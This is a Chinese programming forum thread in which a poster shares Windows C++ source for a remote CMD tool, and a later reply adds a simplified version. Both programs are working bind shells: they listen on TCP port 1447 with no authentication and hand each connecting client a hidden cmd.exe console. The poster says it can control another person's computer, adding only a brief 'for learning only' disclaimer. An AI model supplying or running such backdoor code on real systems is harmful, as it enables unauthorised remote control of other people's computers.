鱼C论坛

 找回密码
 立即注册
查看: 7015|回复: 8

[技术交流] 0管道 CMD远程登录。

[复制链接]
发表于 2015-7-12 12:46:52 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
原理是把Socket套接字句柄作为子进程的stdin、stdout、stderr管道。
要实现这一步必须用WSASocket创建套接字。 不用创建管道,省区许多麻烦事儿。

上一张用Telnet连接的图吧。

仅供学习~不要干坏事哦。

@漩涡鸣人 @kklloo @~风介~ @牡丹花下死做鬼  
tty.jpg
// ScoketPip.cpp : 定义应用程序的入口点。
//

#include "stdafx.h"
#include "ScoketPip.h"
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
typedef struct
{
        SOCKET childFd;
        SOCKADDR_IN childaddr;
        DWORD thread_id;
}WorkInfo;
DWORD WINAPI thread_worker(PVOID Parm)
{
        // 这是工作线程函数
        WorkInfo info1;
        PROCESS_INFORMATION pi={0};
        STARTUPINFOA si={0};
        memcpy(&info1,Parm,sizeof(WorkInfo));
        // 创建进程
        si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)info1.childFd;
        char *welcome = "远程CMD\n作者:无名侠\n主页:www.pandaos.net\n";
        send(info1.childFd,welcome,strlen(welcome)+1,0);
        DWORD ret=CreateProcessA(NULL,"cmd.exe",
                NULL,NULL,1,0,NULL,NULL,&si,&pi);
        if (!ret)
        {
                char *error = "无法访问cmd.exe\n连接失败...\n";
                send(info1.childFd,error,strlen(error)+1,0);
        }
        
        
        closesocket(info1.childFd);

        // 销毁
        return ret;
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPTSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
        WSADATA wd={0};
        SOCKET sock;
        SOCKADDR_IN sockaddr={0};
        WSAStartup(MAKEWORD(2,2),&wd);
        sock = WSASocket(AF_INET, SOCK_STREAM,
                IPPROTO_TCP, NULL, 0, 0);
        if (sock==INVALID_SOCKET)
                ExitProcess(-1);
        sockaddr.sin_family = AF_INET;
        sockaddr.sin_port=htons(1447);
        sockaddr.sin_addr.S_un.S_addr=ADDR_ANY;
        if(bind(sock,(SOCKADDR *)&sockaddr,sizeof(sockaddr)))
                ExitProcess(-2);
        if(listen(sock,5))
                ExitProcess(-3);
        // 为每个用户运行一个cmd控制台
        while (true)
        {
                WorkInfo newwork;
                int slen;
                slen = sizeof(SOCKADDR_IN);
                newwork.childFd=accept(sock,(SOCKADDR *)&newwork.childaddr,&slen);
                if (newwork.childFd!=INVALID_SOCKET)
                {
                        HANDLE hThread;
                        hThread = CreateThread(NULL,0,thread_worker,&newwork,0,&newwork.thread_id);
                        CloseHandle(hThread);
                }
                Sleep(200);
        }
}

评分

参与人数 1荣誉 +7 鱼币 +7 贡献 +5 收起 理由
拈花小仙 + 7 + 7 + 5

查看全部评分

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2015-7-12 12:52:11 | 显示全部楼层
表示 暂时完全不知道你写了什么
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-7-12 12:54:57 | 显示全部楼层
牡丹花下死做鬼 发表于 2015-7-12 12:52
表示 暂时完全不知道你写了什么

这个可以操控别人电脑上的控制台。
操作的时候就想在操作自己电脑的控制台一样,
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-7-12 19:04:31 | 显示全部楼层
编译器报错说没有这两个头文件:
#include "stdafx.h"
#include "ScoketPip.h"
看来我还是搞不懂具体的步骤啊~
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-7-12 19:08:35 | 显示全部楼层
~风介~ 发表于 2015-7-12 19:04
编译器报错说没有这两个头文件:

看来我还是搞不懂具体的步骤啊~

去掉就行了。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2015-7-12 19:09:25 | 显示全部楼层
~风介~ 发表于 2015-7-12 19:04
编译器报错说没有这两个头文件:

看来我还是搞不懂具体的步骤啊~

有点懒,每次都让vc自动导入头文件。
#include <windows.h> 记得加上。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2015-7-17 20:26:25 | 显示全部楼层
刷点鱼币 只为下载 路过
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2016-2-29 22:29:50 | 显示全部楼层
请教楼主一个问题,我用telnet运行一些命令不起作用,但是在cmd下就可以,同一台主机。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2018-2-7 09:49:55 | 显示全部楼层
感谢楼主,我这里稍微整理了一下,改成单线程的看的清楚有需要再改成多线程的。
/**
 * TelNet服务端
 * @by skn
 */
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

int main(char *argc,char *argv[])
{
    WSADATA wsaData;
    WORD sockVersion = MAKEWORD(2,2);
    WSAStartup(sockVersion,&wsaData);

    //SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    SOCKET s = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
    if(s == INVALID_SOCKET)
    {
        return -1;
    }

    sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(1447);
    sin.sin_addr.S_un.S_addr = INADDR_ANY;
    if(bind(s,(LPSOCKADDR)&sin,sizeof(sin)) == SOCKET_ERROR)
    {
        return -1;
    }

    if(listen(s,SOMAXCONN) == SOCKET_ERROR)
    {
        return -1;
    }

    while(true)
    {
        sockaddr_in remoteAddr;
        int nAddrLen = sizeof(sockaddr_in);
        SOCKET client = accept(s,(SOCKADDR*)&remoteAddr,&nAddrLen);
        if(client == INVALID_SOCKET)
        {
            continue;
        }

        PROCESS_INFORMATION pi = {0};
        STARTUPINFOA si = {0};
        si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
        si.wShowWindow = SW_HIDE;
        si.hStdInput = si.hStdOutput = si.hStdError = (void *)client;
        CreateProcessA(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&pi);
        closesocket(client);
    }

    WSACleanup();
    return 1;
}
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-11-23 21:10

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表